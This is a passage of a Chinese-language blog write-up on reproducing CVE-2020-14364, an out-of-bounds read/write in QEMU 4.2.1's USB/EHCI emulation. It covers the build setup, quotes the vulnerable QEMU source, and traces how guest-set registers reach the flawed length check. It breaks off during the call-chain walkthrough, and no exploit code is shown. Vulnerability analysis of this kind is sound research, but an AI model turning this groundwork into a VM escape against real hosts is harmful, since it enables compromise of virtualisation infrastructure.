QEMU: CVE-2020-14364漏洞复现

CVE-2020-14364

QEMU的USB后端在实现USB控制器与USB设备通信时存在越界读写漏洞可能导致虚拟机逃逸。

环境搭建

漏洞复现Qemu版本为v4.2.1

安装依赖

安装spice-protocol:

1
2
3
4
5
6
wget https://spice-space.org/download/releases/spice-protocol-0.12.10.tar.bz2
tar xvf spice-protocol-0.12.10.tar.bz2
cd spice-protocol-0.12.10/
./configure
make
sudo make install

安装celt:

1
2
3
4
5
6
wget http://downloads.us.xiph.org/releases/celt/celt-0.5.1.3.tar.gz
tar zxvf celt-0.5.1.3.tar.gz
cd celt-0.5.1.3/
./configure
make
sudo make install

安装依赖:

1
2
sudo apt install libjpeg-dev
sudo apt-get install libsasl2-dev

安装spice-server

1
2
3
4
5
6
wget https://spice-space.org/download/releases/spice-server/spice-0.12.7.tar.bz2
tar xvf spice-0.12.7.tar.bz2
cd spice-0.12.7/
./configure
make
sudo make install

编译qemu

1
2
3
4
5
git clone https://github.com/qemu/qemu.git
git checkout tags/4.2.1
mkdir build && cd build
../configure --target-list=x86_64-softmmu --enable-debug --disable-werror --enable-spice
make -j6

高版本ld版本不支持编译qemu-4.2.1,降低ld版本。

1
2
3
4
5
6
7
8
9
10
wget https://ftp.gnu.org/gnu/binutils/binutils-2.30.tar.gz
tar -xvf binutils-2.30.tar.gz
cd binutils-2.30
./configure --prefix=/usr/local/binutils
make -j6
sudo make install
# 替换掉高版本的ld
cd /usr/local/binutils
sudo mv /usr/bin/ld /usr/bin/ld.back
sudo ln -s /usr/local/binutils/bin/ld /usr/bin/ld

漏洞原理

前置知识

关键结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
/* definition of a USB device */
struct USBDevice {
DeviceState qdev;
USBPort *port;
char *port_path;
char *serial;
void *opaque;
uint32_t flags;

/* Actual connected speed */
int speed;
/* Supported speeds, not in info because it may be variable (hostdevs) */
int speedmask;
uint8_t addr;
char product_desc[32];
int auto_attach;
bool attached;

int32_t state;
uint8_t setup_buf[8];
uint8_t data_buf[4096]; // key data
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;

USBEndpoint ep_ctl;
USBEndpoint ep_in[USB_MAX_ENDPOINTS];
USBEndpoint ep_out[USB_MAX_ENDPOINTS];

QLIST_HEAD(, USBDescString) strings;
const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */
const USBDescDevice *device;

int configuration;
int ninterfaces;
int altsetting[USB_MAX_INTERFACES];
const USBDescConfig *config;
const USBDescIface *ifaces[USB_MAX_INTERFACES];
};

struct EHCIState
{
USBBus bus;
DeviceState *device;
qemu_irq irq;
MemoryRegion mem;
AddressSpace *as;
MemoryRegion mem_caps;
MemoryRegion mem_opreg;
MemoryRegion mem_ports;
int companion_count;
bool companion_enable;
uint16_t capsbase;
uint16_t opregbase;
uint16_t portscbase;
uint16_t portnr;

/* properties */
uint32_t maxframes;

/*
* EHCI spec version 1.0 Section 2.3
* Host Controller Operational Registers
*/
uint8_t caps[CAPA_SIZE];
union
{
uint32_t opreg[0x44 / sizeof(uint32_t)];
struct
{
uint32_t usbcmd;
uint32_t usbsts;
uint32_t usbintr;
uint32_t frindex;
uint32_t ctrldssegment;
uint32_t periodiclistbase;
uint32_t asynclistaddr;
uint32_t notused[9];
uint32_t configflag;
};
};
uint32_t portsc[NB_PORTS];

/*
* Internal states, shadow registers, etc
*/
QEMUTimer *frame_timer;
QEMUBH *async_bh;
bool working;
uint32_t astate; /* Current state in asynchronous schedule */
uint32_t pstate; /* Current state in periodic schedule */
USBPort ports[NB_PORTS];
USBPort *companion_ports[NB_PORTS];
uint32_t usbsts_pending;
uint32_t usbsts_frindex;
EHCIQueueHead aqueues;
EHCIQueueHead pqueues;

/* which address to look at next */
uint32_t a_fetch_addr;
uint32_t p_fetch_addr;

USBPacket ipacket;
QEMUSGList isgl;

uint64_t last_run_ns;
uint32_t async_stepdown;
uint32_t periodic_sched_active;
bool int_req_by_async;
VMChangeStateEntry *vmstate;
};

关键函数

usb_packet_copy 函数根据p->pid 判断调用iov_to_buf 函数或者是iov_from_buf 函数。在漏洞利用过程中,iov_from_buf函数将s->data_buf + s->setup_index 复制到iov->iov.base 用户空间中,实现设备空间读。iov_to_buf 函数将iov->iov.base 复制到s->data_buf + s->setup_index 设备空间中,实现设备空间写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
void usb_packet_copy(USBPacket *p, void *ptr, size_t bytes)
{
QEMUIOVector *iov = p->combined ? &p->combined->iov : &p->iov;

assert(p->actual_length >= 0);
assert(p->actual_length + bytes <= iov->size);
switch (p->pid) {
case USB_TOKEN_SETUP:
case USB_TOKEN_OUT:
iov_to_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
break;
case USB_TOKEN_IN:
iov_from_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
break;
default:
fprintf(stderr, "%s: invalid pid: %x\n", __func__, p->pid);
abort();
}
p->actual_length += bytes;
}

static inline size_t
iov_from_buf(const struct iovec *iov, unsigned int iov_cnt,
size_t offset, const void *buf, size_t bytes)
{
if (__builtin_constant_p(bytes) && iov_cnt &&
offset <= iov[0].iov_len && bytes <= iov[0].iov_len - offset) {
memcpy(iov[0].iov_base + offset, buf, bytes);
return bytes;
} else {
return iov_from_buf_full(iov, iov_cnt, offset, buf, bytes);
}
}

static inline size_t
iov_to_buf(const struct iovec *iov, const unsigned int iov_cnt,
size_t offset, void *buf, size_t bytes)
{
if (__builtin_constant_p(bytes) && iov_cnt &&
offset <= iov[0].iov_len && bytes <= iov[0].iov_len - offset) {
memcpy(buf, iov[0].iov_base + offset, bytes);
return bytes;
} else {
return iov_to_buf_full(iov, iov_cnt, offset, buf, bytes);
}
}

上述iov->iov.base 是用户可以控制的地址,具体可从以下函数追溯。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// ehci_execute
// ...
if (p->async == EHCI_ASYNC_NONE)
{
if (ehci_init_transfer(p) != 0)
{
return -1;
}

spd = (p->pid == USB_TOKEN_IN && NLPTR_TBIT(p->qtd.altnext) == 0);
usb_packet_setup(&p->packet, p->pid, ep, 0, p->qtdaddr, spd,
(p->qtd.token & QTD_TOKEN_IOC) != 0);
usb_packet_map(&p->packet, &p->sgl);
p->async = EHCI_ASYNC_INITIALIZED;
}
// ...

int usb_packet_map(USBPacket *p, QEMUSGList *sgl)
{
DMADirection dir = (p->pid == USB_TOKEN_IN) ?
DMA_DIRECTION_FROM_DEVICE : DMA_DIRECTION_TO_DEVICE;
void *mem;
int i;

for (i = 0; i < sgl->nsg; i++) {
dma_addr_t base = sgl->sg[i].base;
dma_addr_t len = sgl->sg[i].len;

while (len) {
dma_addr_t xlen = len;
mem = dma_memory_map(sgl->as, base, &xlen, dir);
if (!mem) {
goto err;
}
if (xlen > len) {
xlen = len;
}
qemu_iovec_add(&p->iov, mem, xlen); // mem与xlen来自sgl->sg[i].base与sgl->sg[i].len
len -= xlen;
base += xlen;
}
}
return 0;

err:
usb_packet_unmap(p, sgl);
return -1;
}

void qemu_iovec_add(QEMUIOVector *qiov, void *base, size_t len)
{
assert(qiov->nalloc != -1);

if (qiov->niov == qiov->nalloc) {
qiov->nalloc = 2 * qiov->nalloc + 1;
qiov->iov = g_renew(struct iovec, qiov->iov, qiov->nalloc);
}
qiov->iov[qiov->niov].iov_base = base;
qiov->iov[qiov->niov].iov_len = len;
qiov->size += len;
++qiov->niov;
}

接下来就看sgl->sg[i].basesgl->sg[i].len 从何处而来即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
// ehci_execute
// ...
if (p->async == EHCI_ASYNC_NONE)
{
if (ehci_init_transfer(p) != 0)
{
return -1;
}

spd = (p->pid == USB_TOKEN_IN && NLPTR_TBIT(p->qtd.altnext) == 0);
usb_packet_setup(&p->packet, p->pid, ep, 0, p->qtdaddr, spd,
(p->qtd.token & QTD_TOKEN_IOC) != 0);
usb_packet_map(&p->packet, &p->sgl);
p->async = EHCI_ASYNC_INITIALIZED;
}
// ...

static int ehci_init_transfer(EHCIPacket *p)
{
uint32_t cpage, offset, bytes, plen;
dma_addr_t page;

cpage = get_field(p->qtd.token, QTD_TOKEN_CPAGE);
bytes = get_field(p->qtd.token, QTD_TOKEN_TBYTES);
offset = p->qtd.bufptr[0] & ~QTD_BUFPTR_MASK;
qemu_sglist_init(&p->sgl, p->queue->ehci->device, 5, p->queue->ehci->as);

while (bytes > 0)
{
if (cpage > 4)
{
fprintf(stderr, "cpage out of range (%d)\n", cpage);
qemu_sglist_destroy(&p->sgl);
return -1;
}

page = p->qtd.bufptr[cpage] & QTD_BUFPTR_MASK;
page += offset;
plen = bytes;
if (plen > 4096 - offset)
{
plen = 4096 - offset;
offset = 0;
cpage++;
}

qemu_sglist_add(&p->sgl, page, plen); // page与len来自p->qtd.token字段
bytes -= plen;
}
return 0;
}

void qemu_sglist_add(QEMUSGList *qsg, dma_addr_t base, dma_addr_t len)
{
if (qsg->nsg == qsg->nalloc) {
qsg->nalloc = 2 * qsg->nalloc + 1;
qsg->sg = g_realloc(qsg->sg, qsg->nalloc * sizeof(ScatterGatherEntry));
}
qsg->sg[qsg->nsg].base = base;
qsg->sg[qsg->nsg].len = len;
qsg->size += len;
++qsg->nsg;
}

p->qtd.token 字段是我们可以控制的,总的来说,调用usb_packet_map 函数可以实现用户可控内容读写。

漏洞定位

qemu-4.2.1\hw\usb\core.c: do_token_setup

[1]处调用usb_packet_copy 函数控制变量s->setup_buf,[2]处根据s->setup_buf 为变量s->setup_len赋值,其最大为0xffff,但是[3]处判断逻辑出现问题,使得s->setup_len > sizeof(s->data_buf) 条件成立的情况下,依然为变量s->setup_len 赋值,没有起到检查的效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
static void do_token_setup(USBDevice *s, USBPacket *p)
{
int request, value, index;

if (p->iov.size != 8) {
p->status = USB_RET_STALL;
return;
}

usb_packet_copy(p, s->setup_buf, p->iov.size); // [1]
s->setup_index = 0;
p->actual_length = 0;
s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6]; // [2]
if (s->setup_len > sizeof(s->data_buf)) { // [3]
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
s->setup_len, sizeof(s->data_buf));
p->status = USB_RET_STALL;
return;
}

request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
index = (s->setup_buf[5] << 8) | s->setup_buf[4];

if (s->setup_buf[0] & USB_DIR_IN) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status == USB_RET_ASYNC) {
s->setup_state = SETUP_STATE_SETUP;
}
if (p->status != USB_RET_SUCCESS) {
return;
}

if (p->actual_length < s->setup_len) {
s->setup_len = p->actual_length;
}
s->setup_state = SETUP_STATE_DATA;
} else {
if (s->setup_len == 0)
s->setup_state = SETUP_STATE_ACK;
else
s->setup_state = SETUP_STATE_DATA;
}

p->actual_length = 8;
}

qemu-4.2.1\hw\usb\core.c:do_token_in

[1]处通过s->setup_len获取len字段,而p->iov.size 根据上述分析用户可控,然后在[2]处调用usb_packet_copy 函数造成越界访问,从而获取越界读。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
static void do_token_in(USBDevice *s, USBPacket *p)
{
int request, value, index;

assert(p->ep->nr == 0);

request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
index = (s->setup_buf[5] << 8) | s->setup_buf[4];

switch(s->setup_state) {
case SETUP_STATE_ACK:
if (!(s->setup_buf[0] & USB_DIR_IN)) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status == USB_RET_ASYNC) {
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->actual_length = 0;
}
break;

case SETUP_STATE_DATA:
if (s->setup_buf[0] & USB_DIR_IN) {
int len = s->setup_len - s->setup_index; // [1]
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len); // [2]
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;

default:
p->status = USB_RET_STALL;
}
}

qemu-4.2.1\hw\usb\core.c:do_token_out

同理,[1]处通过s->setup_len获取len字段,而p->iov.size 根据上述分析用户可控,然后在[2]处调用usb_packet_copy 函数造成越界写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static void do_token_out(USBDevice *s, USBPacket *p)
{
assert(p->ep->nr == 0);

switch(s->setup_state) {
case SETUP_STATE_ACK:
if (s->setup_buf[0] & USB_DIR_IN) {
s->setup_state = SETUP_STATE_IDLE;
/* transfer OK */
} else {
/* ignore additional output */
}
break;

case SETUP_STATE_DATA:
if (!(s->setup_buf[0] & USB_DIR_IN)) {
int len = s->setup_len - s->setup_index; // [1]
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len); // [2]
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;

default:
p->status = USB_RET_STALL;
}
}

USB设备初始化

USB控制器是连接USB设备与计算机系统的桥梁。USB控制器负责管理USB总线上的通信,并确保USB设备能够正确地与计算机交互。

USB控制器类型

OHCI、UHCI都是USB1.1的接口标准,而EHCI是对应USB2.0的接口标准,最新的xHCI是USB3.0的接口标准。

OHCI( Open Host Controller Interface ) :一个不仅仅是usb用的主控制器接口标准。主要是遵循csr (configuration space register)标准。是其他厂商在设计usb host controller时遵循的标准,如via, nec, ali, 包括nvidia等等。支持USB1.1的标准。

UHCI (Universal Host Controller Interface ),是Intel主导的对USB1.0、1.1的接口标准,与OHCI不兼容。

EHCI(Enhanced Host Controller Interface ) ,是Intel主导的USB2.0的接口标准。EHCI仅提供USB2.0的高速功能,而依靠UHCI或OHCI来提供对全速(full-speed)或低速(low-speed)设备的支持。

xHCI( eXtensible Host Controller Interface ),是最新的USB3.0的接口标准,它在速度、节能、虚拟化等方面都比前面3中有了较大的提高。xHCI 支持所有种类速度的USB设备(USB 3.0 SuperSpeed, USB 2.0 Low-, Full-, and High-speed, USB 1.1 Low- and Full-speed)。xHCI的目的是为了替换前面三种(UHCI/OHCI/EHCI)。

image-20240726103418073

USB控制器初始化

在QEMU启动日志中可以看到,USB使用的控制器类型是EHCI,具体模拟的设备为ehci-pci,基于此设备控制USB设备的行为。

image-20240725104008232

查看ehci-pci设备的具体初始化过程。ehci_pci设备的初始化符合QOM模型。

首先查看echi_pci类型注册过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static const TypeInfo ehci_pci_type_info = {
.name = TYPE_PCI_EHCI,
.parent = TYPE_PCI_DEVICE,
.instance_size = sizeof(EHCIPCIState),
.instance_init = usb_ehci_pci_init,
.instance_finalize = usb_ehci_pci_finalize,
.abstract = true,
.class_init = ehci_class_init,
.interfaces = (InterfaceInfo[]) {
{ INTERFACE_CONVENTIONAL_PCI_DEVICE },
{ },
},
};
type_register_static(&ehci_pci_type_info);

从类型注册中可以看到,类型初始化函数为ehci_class_init,类型的实例初始化函数为usb_ehci_pci_init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
static void ehci_class_init(ObjectClass *klass, void *data)
{
DeviceClass *dc = DEVICE_CLASS(klass);
PCIDeviceClass *k = PCI_DEVICE_CLASS(klass);

k->realize = usb_ehci_pci_realize;
k->exit = usb_ehci_pci_exit;
k->class_id = PCI_CLASS_SERIAL_USB;
k->config_write = usb_ehci_pci_write_config;
dc->vmsd = &vmstate_ehci_pci;
dc->props = ehci_pci_properties;
dc->reset = usb_ehci_pci_reset;
}

static void usb_ehci_pci_init(Object *obj)
{
DeviceClass *dc = OBJECT_GET_CLASS(DeviceClass, obj, TYPE_DEVICE);
EHCIPCIState *i = PCI_EHCI(obj);
EHCIState *s = &i->ehci;

s->caps[0x09] = 0x68; /* EECP */

s->capsbase = 0x00;
s->opregbase = 0x20;
s->portscbase = 0x44;
s->portnr = NB_PORTS;

if (!dc->hotpluggable) {
s->companion_enable = true;
}

usb_ehci_init(s, DEVICE(obj));
}

void usb_ehci_init(EHCIState *s, DeviceState *dev)
{
/* 2.2 host controller interface version */
s->caps[0x00] = (uint8_t)(s->opregbase - s->capsbase);
s->caps[0x01] = 0x00;
s->caps[0x02] = 0x00;
s->caps[0x03] = 0x01; /* HC version */
s->caps[0x04] = s->portnr; /* Number of downstream ports */
s->caps[0x05] = 0x00; /* No companion ports at present */
s->caps[0x06] = 0x00;
s->caps[0x07] = 0x00;
s->caps[0x08] = 0x80; /* We can cache whole frame, no 64-bit */
s->caps[0x0a] = 0x00;
s->caps[0x0b] = 0x00;

QTAILQ_INIT(&s->aqueues);
QTAILQ_INIT(&s->pqueues);
usb_packet_init(&s->ipacket);

memory_region_init(&s->mem, OBJECT(dev), "ehci", MMIO_SIZE);
memory_region_init_io(&s->mem_caps, OBJECT(dev), &ehci_mmio_caps_ops, s,
"capabilities", CAPA_SIZE);
memory_region_init_io(&s->mem_opreg, OBJECT(dev), &ehci_mmio_opreg_ops, s,
"operational", s->portscbase);
memory_region_init_io(&s->mem_ports, OBJECT(dev), &ehci_mmio_port_ops, s,
"ports", 4 * s->portnr);

memory_region_add_subregion(&s->mem, s->capsbase, &s->mem_caps);
memory_region_add_subregion(&s->mem, s->opregbase, &s->mem_opreg);
memory_region_add_subregion(&s->mem, s->opregbase + s->portscbase,
&s->mem_ports);
}

ehci_class_init 函数注册设备的实现函数为usb_ehci_pci_realize

usb_ehci_pci_init 函数初始化EHCIState 结构体部分字段,并调用usb_ehci_init 函数为EHCIStatecaps opreg ports 等字段注册回调函数,通过读写相应内存,可触发相关回调函数。不同字段的访问基地址和范围是不同的,caps 基址定义在capsbase,也即0x0opreg 基址定义在portscbase,也即0x20

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static const MemoryRegionOps ehci_mmio_caps_ops = {
.read = ehci_caps_read,
.write = ehci_caps_write,
.valid.min_access_size = 1,
.valid.max_access_size = 4,
.impl.min_access_size = 1,
.impl.max_access_size = 1,
.endianness = DEVICE_LITTLE_ENDIAN,
};

static const MemoryRegionOps ehci_mmio_opreg_ops = {
.read = ehci_opreg_read,
.write = ehci_opreg_write,
.valid.min_access_size = 4,
.valid.max_access_size = 4,
.endianness = DEVICE_LITTLE_ENDIAN,
};

static const MemoryRegionOps ehci_mmio_port_ops = {
.read = ehci_port_read,
.write = ehci_port_write,
.valid.min_access_size = 4,
.valid.max_access_size = 4,
.endianness = DEVICE_LITTLE_ENDIAN,
};

这里主要关注opreg字段,而且主要用到了写回调函数,所以查看ehci_opreg_write 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
static void ehci_opreg_write(void *ptr, hwaddr addr,
uint64_t val, unsigned size)
{
EHCIState *s = ptr;
uint32_t *mmio = s->opreg + (addr >> 2);
uint32_t old = *mmio;
int i;

trace_usb_ehci_opreg_write(addr + s->opregbase, addr2str(addr), val);

switch (addr)
{
case USBCMD: // 0x0
if (val & USBCMD_HCRESET)
{
ehci_reset(s);
val = s->usbcmd;
break;
}

/* not supporting dynamic frame list size at the moment */
if ((val & USBCMD_FLS) && !(s->usbcmd & USBCMD_FLS))
{
fprintf(stderr, "attempt to set frame list size -- value %d\n",
(int)val & USBCMD_FLS);
val &= ~USBCMD_FLS;
}

if (val & USBCMD_IAAD)
{
/*
* Process IAAD immediately, otherwise the Linux IAAD watchdog may
* trigger and re-use a qh without us seeing the unlink.
*/
s->async_stepdown = 0;
qemu_bh_schedule(s->async_bh);
trace_usb_ehci_doorbell_ring();
}

if (((USBCMD_RUNSTOP | USBCMD_PSE | USBCMD_ASE) & val) !=
((USBCMD_RUNSTOP | USBCMD_PSE | USBCMD_ASE) & s->usbcmd))
{
if (s->pstate == EST_INACTIVE)
{
SET_LAST_RUN_CLOCK(s);
}
s->usbcmd = val; /* Set usbcmd for ehci_update_halt() */
ehci_update_halt(s);
s->async_stepdown = 0;
qemu_bh_schedule(s->async_bh);
}
break;

case USBSTS: // 4
val &= USBSTS_RO_MASK; // bits 6 through 31 are RO
ehci_clear_usbsts(s, val); // bits 0 through 5 are R/WC
val = s->usbsts;
ehci_update_irq(s);
break;

case USBINTR: // 8
val &= USBINTR_MASK;
if (ehci_enabled(s) && (USBSTS_FLR & val))
{
qemu_bh_schedule(s->async_bh);
}
break;

case FRINDEX: // 0xC
val &= 0x00003fff; /* frindex is 14bits */
s->usbsts_frindex = val;
break;

case CONFIGFLAG: // 0x40
val &= 0x1;
if (val)
{
for (i = 0; i < NB_PORTS; i++)
handle_port_owner_write(s, i, 0);
}
break;

case PERIODICLISTBASE: // 0x14
if (ehci_periodic_enabled(s))
{
fprintf(stderr,
"ehci: PERIODIC list base register set while periodic schedule\n"
" is enabled and HC is enabled\n");
}
break;

case ASYNCLISTADDR: // 0x18
if (ehci_async_enabled(s))
{
fprintf(stderr,
"ehci: ASYNC list address register set while async schedule\n"
" is enabled and HC is enabled\n");
}
break;
}

*mmio = val;
trace_usb_ehci_opreg_change(addr + s->opregbase, addr2str(addr),
*mmio, old);
}

这个函数通过传入的addr 判断跳入到哪个switch分支,然后为EHCIStateopreg 字段赋值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
union
{
uint32_t opreg[0x44 / sizeof(uint32_t)];
struct
{
uint32_t usbcmd;
uint32_t usbsts;
uint32_t usbintr;
uint32_t frindex;
uint32_t ctrldssegment;
uint32_t periodiclistbase;
uint32_t asynclistaddr;
uint32_t notused[9];
uint32_t configflag;
};
};

漏洞调用链

当触发到do_token_setup 函数时,函数调用链如下:

image-20240724225704740

简单梳理下可以得到如下格式的调用链:

1
ehci_work_bh -> ehci_advance_periodic_static -> ehci_advance_state -> ehci_state_execute -> ehci_execute -> usb_handle_packet -> usb_process_one -> do_token_setup

让我们逐个查看如何触发到最终函数。

ehci_work_bh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
static void ehci_work_bh(void *opaque)
{
EHCIState *ehci = opaque;
int need_timer = 0;
int64_t expire_time, t_now;
uint64_t ns_elapsed;
uint64_t uframes, skipped_uframes;
int i;

if (ehci->working)
{
return;
}
ehci->working = true;

t_now = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL);
ns_elapsed = t_now - ehci->last_run_ns;
uframes = ns_elapsed / UFRAME_TIMER_NS;

if (ehci_periodic_enabled(ehci) || ehci->pstate != EST_INACTIVE)
{
need_timer++;

if (uframes > (ehci->maxframes * 8))
{
skipped_uframes = uframes - (ehci->maxframes * 8);
ehci_update_frindex(ehci, skipped_uframes);
ehci->last_run_ns += UFRAME_TIMER_NS * skipped_uframes;
uframes -= skipped_uframes;
DPRINTF("WARNING - EHCI skipped %d uframes\n", skipped_uframes);
}

for (i = 0; i < uframes; i++)
{
/*
* If we're running behind schedule, we should not catch up
* too fast, as that will make some guests unhappy:
* 1) We must process a minimum of MIN_UFR_PER_TICK frames,
* otherwise we will never catch up
* 2) Process frames until the guest has requested an irq (IOC)
*/
if (i >= MIN_UFR_PER_TICK)
{
ehci_commit_irq(ehci);
if ((ehci->usbsts & USBINTR_MASK) & ehci->usbintr)
{
break;
}
}
if (ehci->periodic_sched_active)
{
ehci->periodic_sched_active--;
}
ehci_update_frindex(ehci, 1);
if ((ehci->frindex & 7) == 0)
{
ehci_advance_periodic_state(ehci); // <--------
}
ehci->last_run_ns += UFRAME_TIMER_NS;
}
}

// ...

ehci->working = false;
}

static inline bool ehci_periodic_enabled(EHCIState *s)
{
return ehci_enabled(s) && (s->usbcmd & USBCMD_PSE);
}

static inline bool ehci_enabled(EHCIState *s)
{
return s->usbcmd & USBCMD_RUNSTOP;
}

这里我们看到,我们需要满足ehci_periodic_enabled(ehci) || ehci->pstate != EST_INACTIVE 为真,才能进入到if逻辑中。这里设置s->usbcmd & USBCMD_PSE == 1 && s->usbcmd & USBCMD_RUNSTOP == 1 即可。s->usbcmd 属于s->opreg数组中,而数组中的字段是我们可控的。 之后需要满足ehci->frindex & 7 == 0 ,这里直接设置ehci->frindex 为0即可。

总的来说,这个函数需要满足以下条件:

1
2
s->usbcmd & USBCMD_PSE == 1 && s->usbcmd & USBCMD_RUNSTOP == 1;
ehci->frindex == 0

ehci_advance_periodic_state

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
static void ehci_advance_periodic_state(EHCIState *ehci)
{
uint32_t entry;
uint32_t list;
const int async = 0;

// 4.6

switch (ehci_get_state(ehci, async))
{
case EST_INACTIVE:
if (!(ehci->frindex & 7) && ehci_periodic_enabled(ehci))
{
ehci_set_state(ehci, async, EST_ACTIVE);
// No break, fall through to ACTIVE
}
else
break;

case EST_ACTIVE:
if (!(ehci->frindex & 7) && !ehci_periodic_enabled(ehci))
{
ehci_queues_rip_all(ehci, async);
ehci_set_state(ehci, async, EST_INACTIVE);
break;
}

list = ehci->periodiclistbase & 0xfffff000;
/* check that register has been set */
if (list == 0)
{
break;
}
list |= ((ehci->frindex & 0x1ff8) >> 1);

if (get_dwords(ehci, list, &entry, 1) < 0)
{
break;
}

DPRINTF("PERIODIC state adv fr=%d. [%08X] -> %08X\n",
ehci->frindex / 8, list, entry);
ehci_set_fetch_addr(ehci, async, entry);
ehci_set_state(ehci, async, EST_FETCHENTRY);
ehci_advance_state(ehci, async); // <-------
ehci_queues_rip_unused(ehci, async);
break;

default:
/* this should only be due to a developer mistake */
fprintf(stderr, "ehci: Bad periodic state %d. "
"Resetting to active\n",
ehci->pstate);
g_assert_not_reached();
}
}

/* Get an array of dwords from main memory */
static inline int get_dwords(EHCIState *ehci, uint32_t addr,
uint32_t *buf, int num)
{
int i;

if (!ehci->as)
{
ehci_raise_irq(ehci, USBSTS_HSE);
ehci->usbcmd &= ~USBCMD_RUNSTOP;
trace_usb_ehci_dma_error();
return -1;
}

for (i = 0; i < num; i++, buf++, addr += sizeof(*buf))
{
dma_memory_read(ehci->as, addr, buf, sizeof(*buf));
*buf = le32_to_cpu(*buf);
}

return num;
}

这里通过调试,可以发现总是走EST_ACTIVE 这个分支,if 判断由上述分析可知也是不会步入的。然后通过ehci->periodiclistbase字段设置变量list ,并获取list 地址内容到变量entry 中,也即*list = entry 。然后设置ehci->p_fetch_addr = entry

这里通过控制ehci->periodiclistbase 字段地址内容即可控制ehci->p_fetch_addr 字段。

ehci_advance_state

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
/*
* This is the state machine that is common to both async and periodic
*/

static void ehci_advance_state(EHCIState *ehci, int async)
{
EHCIQueue *q = NULL;
int itd_count = 0;
int again;

do
{
switch (ehci_get_state(ehci, async))
{
case EST_WAITLISTHEAD:
again = ehci_state_waitlisthead(ehci, async);
break;

